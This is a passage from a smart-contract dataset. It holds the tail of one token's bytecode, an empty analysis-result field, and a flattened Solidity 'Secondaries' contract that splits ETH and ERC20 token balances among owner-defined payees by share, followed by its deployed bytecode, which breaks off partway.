fffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cfb8b9dcb3933d24f6f80a1b93d0d00470e9df5944f45cf87ff41090d3f40ee364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 1,633 |
0xB551baBF0171A0dEeCA60AdCC60Bd88C278abd9E
|
// SPDX-License-Identifier: Unlicense
// Sources flattened with hardhat v2.8.3 https://hardhat.org
pragma solidity ^0.8.4;
// File @openzeppelin/contracts/utils/Context.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/Secondaries.sol
// Secondaries Contract
contract Secondaries is Ownable {
struct Dist {
uint256 share;
uint256 loc;
string name;
}
mapping(address => Dist) private _distMap;
address[] private _distList;
uint256 private _shareTotal = 0;
struct Token {
bool state;
uint256 loc;
string name;
}
mapping(address => Token) private _tokenMap;
address[] private _tokenList;
event Distribution(uint256 amount, string token);
event DistributionListChange(address indexed target, bool isIncluded);
event TokenListChange(address indexed target, bool isIncluded);
constructor(
address[] memory addresses,
string[] memory names,
uint256[] memory royalty,
address[] memory erc20Addresses,
string[] memory erc20Names
) {
for (uint256 i = 0; i < addresses.length; i++) {
addDist(addresses[i], names[i], royalty[i]);
}
for (uint256 i = 0; i < erc20Addresses.length; i++) {
addToken(erc20Addresses[i], erc20Names[i]);
}
}
receive() external payable {}
fallback() external payable {}
function getShareTotal() public view returns (uint256) {
return _shareTotal;
}
function getShare(address account) public view returns (uint256) {
return _distMap[account].share;
}
function getName(address account) public view returns (string memory) {
return _distMap[account].name;
}
function allDist() public view returns (address[] memory) {
return _distList;
}
function isDist(address account) public view returns (bool) {
return (getShare(account) > 0);
}
function allTokens() public view returns (address[] memory) {
return _tokenList;
}
function getTokenName(address _tokenAddress)
public
view
returns (string memory)
{
return _tokenMap[_tokenAddress].name;
}
function isToken(address _tokenAddress) public view returns (bool) {
return _tokenMap[_tokenAddress].state;
}
function shareTotal() private {
uint256 sum;
for (uint256 i = 0; i < _distList.length; i++) {
sum += _distMap[_distList[i]].share;
}
_shareTotal = sum;
}
function addDist(
address _address,
string memory _Name,
uint256 _share
) public onlyOwner {
require(_address != address(0), "Invalid address");
require(_share > 0, "Share must be greater than zero");
Dist storage d = _distMap[_address];
require(d.share == 0, "Address already in distribution list");
d.share = _share;
d.loc = _distList.length;
d.name = _Name;
_distList.push(_address);
emit DistributionListChange(_address, true);
shareTotal();
}
function removeDist(address _address) public onlyOwner {
Dist storage d = _distMap[_address];
require(d.share > 0, "Address not in distribution list");
d.share = 0;
address _last = _distList[_distList.length - 1];
_distMap[_last].loc = d.loc;
_distList[d.loc] = _last;
_distList.pop();
emit DistributionListChange(_address, false);
shareTotal();
}
function editDistName(address _address, string memory _Name)
external
onlyOwner
{
Dist storage d = _distMap[_address];
require(d.share > 0, "Address not in distribution list");
d.name = _Name;
}
function editDistShare(address _address, uint256 _share)
external
onlyOwner
{
require(_share > 0, "To set share to zero, use removeDist()");
Dist storage d = _distMap[_address];
require(d.share > 0, "Address not in distribution list");
d.share = _share;
shareTotal();
}
function editDistAddress(string memory _Name, address _newAddress)
external
onlyOwner
{
address _oldAddress;
Dist memory d;
for (uint256 i = 0; i < _distList.length; i++) {
_oldAddress = _distList[i];
d = _distMap[_oldAddress];
if (keccak256(bytes(d.name)) == keccak256(bytes(_Name))) {
removeDist(_oldAddress);
addDist(_newAddress, _Name, d.share);
}
}
}
function addToken(address _address, string memory _Name) public onlyOwner {
require(_address != address(0), "Invalid address");
Token storage t = _tokenMap[_address];
require(!t.state, "Address already in token list");
t.state = true;
t.loc = _tokenList.length;
t.name = _Name;
_tokenList.push(_address);
emit TokenListChange(_address, true);
}
function removeToken(address _address) external onlyOwner {
Token storage t = _tokenMap[_address];
require(t.state, "Address not in token list");
t.state = false;
address _last = _tokenList[_tokenList.length - 1];
_tokenMap[_last].loc = t.loc;
_tokenList[t.loc] = _last;
_tokenList.pop();
emit TokenListChange(_address, false);
}
function distribute() external onlyOwner {
if (_distList.length > 0) {
// distribute ETH
uint256 _balance = address(this).balance;
uint256 _unit;
address _address;
if (_balance > 0) {
_unit = _balance / _shareTotal;
for (uint256 i = 0; i < _distList.length; i++) {
_address = _distList[i];
payable(_address).transfer(
_distMap[_address].share * _unit
);
}
emit Distribution(_balance, "ETH");
}
// distribute other tokens
if (_tokenList.length > 0) {
IERC20 _token;
for (uint256 i = 0; i < _tokenList.length; i++) {
_token = IERC20(_tokenList[i]);
_balance = _token.balanceOf(address(this));
if (_balance > 0) {
_unit = _balance / _shareTotal;
for (uint256 j = 0; j < _distList.length; j++) {
_address = _distList[j];
_token.transfer(
_address,
_distMap[_address].share * _unit
);
}
emit Distribution(
_balance,
_tokenMap[_tokenList[i]].name
);
}
}
}
}
}
}
|
0x6080604052600436106101185760003560e01c80636f0fccab116100a0578063a03f016411610064578063a03f0164146103a5578063c1b10032146103ce578063d9d8e58b146103f7578063e4fc6b6d14610434578063f2fde38b1461044b5761011f565b80636f0fccab146102d25780636ff97f1d1461030f578063715018a61461033a5780638da5cb5b1461035157806396c0a39d1461037c5761011f565b80634b3ab9c5116100e75780634b3ab9c5146101db578063573cea96146102185780635969c91d146102435780635fa7b5841461026c5780635fd4b08a146102955761011f565b806319f37361146101215780631be25d641461015e5780632c8da5601461018757806335aaacb5146101b05761011f565b3661011f57005b005b34801561012d57600080fd5b50610148600480360381019061014391906120eb565b610474565b6040516101559190612608565b60405180910390f35b34801561016a57600080fd5b50610185600480360381019061018091906121e3565b6104cd565b005b34801561019357600080fd5b506101ae60048036038101906101a99190612118565b61062c565b005b3480156101bc57600080fd5b506101c56108a8565b6040516101d29190612765565b60405180910390f35b3480156101e757600080fd5b5061020260048036038101906101fd91906120eb565b6108b2565b60405161020f9190612765565b60405180910390f35b34801561022457600080fd5b5061022d6108fe565b60405161023a91906125e6565b60405180910390f35b34801561024f57600080fd5b5061026a60048036038101906102659190612118565b61098c565b005b34801561027857600080fd5b50610293600480360381019061028e91906120eb565b610ab0565b005b3480156102a157600080fd5b506102bc60048036038101906102b791906120eb565b610d78565b6040516102c99190612623565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f491906120eb565b610e4c565b6040516103069190612623565b60405180910390f35b34801561031b57600080fd5b50610324610f20565b60405161033191906125e6565b60405180910390f35b34801561034657600080fd5b5061034f610fae565b005b34801561035d57600080fd5b50610366611036565b60405161037391906125a2565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612250565b61105f565b005b3480156103b157600080fd5b506103cc60048036038101906103c791906120eb565b611275565b005b3480156103da57600080fd5b506103f560048036038101906103f09190612174565b611528565b005b34801561040357600080fd5b5061041e600480360381019061041991906120eb565b6117d1565b60405161042b9190612608565b60405180910390f35b34801561044057600080fd5b506104496117e5565b005b34801561045757600080fd5b50610472600480360381019061046d91906120eb565b611cde565b005b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b6104d5611dd6565b73ffffffffffffffffffffffffffffffffffffffff166104f3611036565b73ffffffffffffffffffffffffffffffffffffffff1614610549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054090612725565b60405180910390fd5b6000811161058c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058390612745565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060d90612705565b60405180910390fd5b818160000181905550610627611dde565b505050565b610634611dd6565b73ffffffffffffffffffffffffffffffffffffffff16610652611036565b73ffffffffffffffffffffffffffffffffffffffff16146106a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069f90612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070f90612645565b60405180910390fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900460ff16156107ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a490612665565b60405180910390fd5b60018160000160006101000a81548160ff0219169083151502179055506005805490508160010181905550818160020190805190602001906107f0929190611f63565b506005839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff167f317e205c857178aa0ec6eef6a0af715b254d34d6a83f3bf44e3ac46078aa7065600160405161089b9190612608565b60405180910390a2505050565b6000600354905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6060600280548060200260200160405190810160405280929190818152602001828054801561098257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610938575b5050505050905090565b610994611dd6565b73ffffffffffffffffffffffffffffffffffffffff166109b2611036565b73ffffffffffffffffffffffffffffffffffffffff1614610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612725565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990612705565b60405180910390fd5b81816002019080519060200190610aaa929190611f63565b50505050565b610ab8611dd6565b73ffffffffffffffffffffffffffffffffffffffff16610ad6611036565b73ffffffffffffffffffffffffffffffffffffffff1614610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612725565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900460ff16610bc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb7906126e5565b60405180910390fd5b60008160000160006101000a81548160ff021916908315150217905550600060056001600580549050610bf3919061297f565b81548110610c0457610c03612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160010154600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550806005836001015481548110610c9557610c94612ba5565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005805480610cef57610cee612b76565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590558273ffffffffffffffffffffffffffffffffffffffff167f317e205c857178aa0ec6eef6a0af715b254d34d6a83f3bf44e3ac46078aa70656000604051610d6b9190612608565b60405180910390a2505050565b6060600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018054610dc790612a3d565b80601f0160208091040260200160405190810160405280929190818152602001828054610df390612a3d565b8015610e405780601f10610e1557610100808354040283529160200191610e40565b820191906000526020600020905b815481529060010190602001808311610e2357829003601f168201915b50505050509050919050565b6060600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018054610e9b90612a3d565b80601f0160208091040260200160405190810160405280929190818152602001828054610ec790612a3d565b8015610f145780601f10610ee957610100808354040283529160200191610f14565b820191906000526020600020905b815481529060010190602001808311610ef757829003601f168201915b50505050509050919050565b60606005805480602002602001604051908101604052809291908181526020018280548015610fa457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610f5a575b5050505050905090565b610fb6611dd6565b73ffffffffffffffffffffffffffffffffffffffff16610fd4611036565b73ffffffffffffffffffffffffffffffffffffffff161461102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102190612725565b60405180910390fd5b6110346000611e9f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611067611dd6565b73ffffffffffffffffffffffffffffffffffffffff16611085611036565b73ffffffffffffffffffffffffffffffffffffffff16146110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d290612725565b60405180910390fd5b60006110e5611fe9565b60005b60028054905081101561126e576002818154811061110957611108612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180606001604052908160008201548152602001600182015481526020016002820180546111a490612a3d565b80601f01602080910402602001604051908101604052809291908181526020018280546111d090612a3d565b801561121d5780601f106111f25761010080835404028352916020019161121d565b820191906000526020600020905b81548152906001019060200180831161120057829003601f168201915b50505050508152505091508480519060200120826040015180519060200120141561125b5761124b83611275565b61125a84868460000151611528565b5b808061126690612aa0565b9150506110e8565b5050505050565b61127d611dd6565b73ffffffffffffffffffffffffffffffffffffffff1661129b611036565b73ffffffffffffffffffffffffffffffffffffffff16146112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890612725565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001541161137b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137290612705565b60405180910390fd5b6000816000018190555060006002600160028054905061139b919061297f565b815481106113ac576113ab612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160010154600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555080600283600101548154811061143d5761143c612ba5565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600280548061149757611496612b76565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590558273ffffffffffffffffffffffffffffffffffffffff167f9364ef31fb6376e7be09a1115bcb9d1e956818fcf9a28376530e7957dfe4244660006040516115139190612608565b60405180910390a2611523611dde565b505050565b611530611dd6565b73ffffffffffffffffffffffffffffffffffffffff1661154e611036565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b90612645565b60405180910390fd5b60008111611657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164e906126c5565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160000154146116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d890612685565b60405180910390fd5b818160000181905550600280549050816001018190555082816002019080519060200190611710929190611f63565b506002849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff167f9364ef31fb6376e7be09a1115bcb9d1e956818fcf9a28376530e7957dfe4244660016040516117bb9190612608565b60405180910390a26117cb611dde565b50505050565b6000806117dd836108b2565b119050919050565b6117ed611dd6565b73ffffffffffffffffffffffffffffffffffffffff1661180b611036565b73ffffffffffffffffffffffffffffffffffffffff1614611861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185890612725565b60405180910390fd5b60006002805490501115611cdc57600047905060008060008311156119c1576003548361188e91906128f4565b915060005b60028054905081101561198857600281815481106118b4576118b3612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff166108fc84600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546119499190612925565b9081150290604051600060405180830381858888f19350505050158015611974573d6000803e3d6000fd5b50808061198090612aa0565b915050611893565b507f7ae59881fc4010332b1b69b22befba87cd11b1aca730ada6fef86ceea42269a7836040516119b891906127b0565b60405180910390a15b60006005805490501115611cd857600080600090505b600580549050811015611cd557600581815481106119f8576119f7612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611a5e91906125a2565b60206040518083038186803b158015611a7657600080fd5b505afa158015611a8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aae91906122ac565b94506000851115611cc25760035485611ac791906128f4565b935060005b600280549050811015611c085760028181548110611aed57611aec612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8587600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611b859190612925565b6040518363ffffffff1660e01b8152600401611ba29291906125bd565b602060405180830381600087803b158015611bbc57600080fd5b505af1158015611bd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf49190612223565b508080611c0090612aa0565b915050611acc565b507f7ae59881fc4010332b1b69b22befba87cd11b1aca730ada6fef86ceea42269a7856004600060058581548110611c4357611c42612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201604051611cb9929190612780565b60405180910390a15b8080611ccd90612aa0565b9150506119d7565b50505b5050505b565b611ce6611dd6565b73ffffffffffffffffffffffffffffffffffffffff16611d04611036565b73ffffffffffffffffffffffffffffffffffffffff1614611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc1906126a5565b60405180910390fd5b611dd381611e9f565b50565b600033905090565b600080600090505b600280549050811015611e94576001600060028381548110611e0b57611e0a612ba5565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015482611e7f919061289e565b91508080611e8c90612aa0565b915050611de6565b508060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054611f6f90612a3d565b90600052602060002090601f016020900481019282611f915760008555611fd8565b82601f10611faa57805160ff1916838001178555611fd8565b82800160010185558215611fd8579182015b82811115611fd7578251825591602001919060010190611fbc565b5b509050611fe5919061200a565b5090565b60405180606001604052806000815260200160008152602001606081525090565b5b8082111561202357600081600090555060010161200b565b5090565b600061203a61203584612803565b6127de565b90508281526020810184848401111561205657612055612c08565b5b6120618482856129fb565b509392505050565b60008135905061207881612e34565b92915050565b60008151905061208d81612e4b565b92915050565b600082601f8301126120a8576120a7612c03565b5b81356120b8848260208601612027565b91505092915050565b6000813590506120d081612e62565b92915050565b6000815190506120e581612e62565b92915050565b60006020828403121561210157612100612c12565b5b600061210f84828501612069565b91505092915050565b6000806040838503121561212f5761212e612c12565b5b600061213d85828601612069565b925050602083013567ffffffffffffffff81111561215e5761215d612c0d565b5b61216a85828601612093565b9150509250929050565b60008060006060848603121561218d5761218c612c12565b5b600061219b86828701612069565b935050602084013567ffffffffffffffff8111156121bc576121bb612c0d565b5b6121c886828701612093565b92505060406121d9868287016120c1565b9150509250925092565b600080604083850312156121fa576121f9612c12565b5b600061220885828601612069565b9250506020612219858286016120c1565b9150509250929050565b60006020828403121561223957612238612c12565b5b60006122478482850161207e565b91505092915050565b6000806040838503121561226757612266612c12565b5b600083013567ffffffffffffffff81111561228557612284612c0d565b5b61229185828601612093565b92505060206122a285828601612069565b9150509250929050565b6000602082840312156122c2576122c1612c12565b5b60006122d0848285016120d6565b91505092915050565b60006122e583836122f1565b60208301905092915050565b6122fa816129b3565b82525050565b612309816129b3565b82525050565b600061231a82612859565b612324818561287c565b935061232f83612834565b8060005b8381101561236057815161234788826122d9565b97506123528361286f565b925050600181019050612333565b5085935050505092915050565b612376816129c5565b82525050565b600061238782612864565b612391818561288d565b93506123a1818560208601612a0a565b6123aa81612c17565b840191505092915050565b600081546123c281612a3d565b6123cc818661288d565b945060018216600081146123e757600181146123f95761242c565b60ff198316865260208601935061242c565b61240285612844565b60005b8381101561242457815481890152600182019150602081019050612405565b808801955050505b50505092915050565b6000612442600f8361288d565b915061244d82612c28565b602082019050919050565b6000612465601d8361288d565b915061247082612c51565b602082019050919050565b600061248860248361288d565b915061249382612c7a565b604082019050919050565b60006124ab60268361288d565b91506124b682612cc9565b604082019050919050565b60006124ce601f8361288d565b91506124d982612d18565b602082019050919050565b60006124f160198361288d565b91506124fc82612d41565b602082019050919050565b600061251460208361288d565b915061251f82612d6a565b602082019050919050565b600061253760208361288d565b915061254282612d93565b602082019050919050565b600061255a60038361288d565b915061256582612dbc565b602082019050919050565b600061257d60268361288d565b915061258882612de5565b604082019050919050565b61259c816129f1565b82525050565b60006020820190506125b76000830184612300565b92915050565b60006040820190506125d26000830185612300565b6125df6020830184612593565b9392505050565b60006020820190508181036000830152612600818461230f565b905092915050565b600060208201905061261d600083018461236d565b92915050565b6000602082019050818103600083015261263d818461237c565b905092915050565b6000602082019050818103600083015261265e81612435565b9050919050565b6000602082019050818103600083015261267e81612458565b9050919050565b6000602082019050818103600083015261269e8161247b565b9050919050565b600060208201905081810360008301526126be8161249e565b9050919050565b600060208201905081810360008301526126de816124c1565b9050919050565b600060208201905081810360008301526126fe816124e4565b9050919050565b6000602082019050818103600083015261271e81612507565b9050919050565b6000602082019050818103600083015261273e8161252a565b9050919050565b6000602082019050818103600083015261275e81612570565b9050919050565b600060208201905061277a6000830184612593565b92915050565b60006040820190506127956000830185612593565b81810360208301526127a781846123b5565b90509392505050565b60006040820190506127c56000830184612593565b81810360208301526127d68161254d565b905092915050565b60006127e86127f9565b90506127f48282612a6f565b919050565b6000604051905090565b600067ffffffffffffffff82111561281e5761281d612bd4565b5b61282782612c17565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006128a9826129f1565b91506128b4836129f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128e9576128e8612ae9565b5b828201905092915050565b60006128ff826129f1565b